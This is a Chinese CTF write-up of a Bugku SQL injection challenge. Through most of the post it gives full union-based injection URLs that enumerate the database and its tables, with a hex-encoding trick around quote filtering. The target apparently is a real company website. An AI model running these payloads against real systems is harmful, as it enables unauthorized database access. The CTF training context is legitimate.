您的位置:首页 > 其它

bugku ctf 实战1-注入

2018-08-17 19:08 239 查看

打开之后,是这么一个网站

 

需要找到可以注入的网页

经过笔者的不断努力  终于自己给找了出来。。。(其实御剑可以直接扫出来的)

 

 

之后再点击这里   

 

之后就会有这个注入点

 

[code]http://www.interplay.com/support/support.php?id=374

常规注入发现是数字型

[code]http://www.interplay.com/games/support.php?id=374 order by 19%23

有19列 

那么   看看有没有显示位  

 

[code]http://www.interplay.com/games/support.php?id=374 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%23

(不知道怎么回事这个网址你直接在这里复制会在百度里访问,奇怪了,所以请读者在网址栏中自行输入哈,不要偷懒!)

 

发现了好多个显示位,那我们随便找一个(我以17为例子)

先报他的数据库

[code]http://www.interplay.com/games/support.php?id=374 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,database(),18,19%23

出现了数据库    interplay

 

之后查他的 表名就行了 ,但是没那么简单,我们来试一下

http://www.interplay.com/games/support.php?id=374 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19 from information_schema.tables where table_schema='interplay'%23

(我直接输入的话,你们复制的话可以直接访问,但是写在代码段是不可以的是在百度中直接访问)

 

访问上边的发现错误

别的不多,多了个单引号,应该是过滤了单引号。

 

那我们将单引号过滤掉 将 数据库名字 换位 十六进制

interplay 的十六进制为     0x696e746572706c6179

 

所以构造语句

http://www.interplay.com/games/support.php?id=374 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19 from information_schema.tables where table_schema=0x696e746572706c6179%23

 

 

发现会出现好多表名 

 

 

 

如下  

banners,banners_banner_id_seq,careers,careers_career_id_seq,downloads,franchises,franchises_franchise_id_seq,news,news_news_id_seq,screenshots,screenshots_screenshot_id_s                     ( zhegerenshiduomedexihuanxiangjiang)

但是 

看题目

flag格式 flag{数据库的第一个表名}

 

 

我们只需要第一个表名

 那么flag为                             

flag{banners}

阅读更多
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: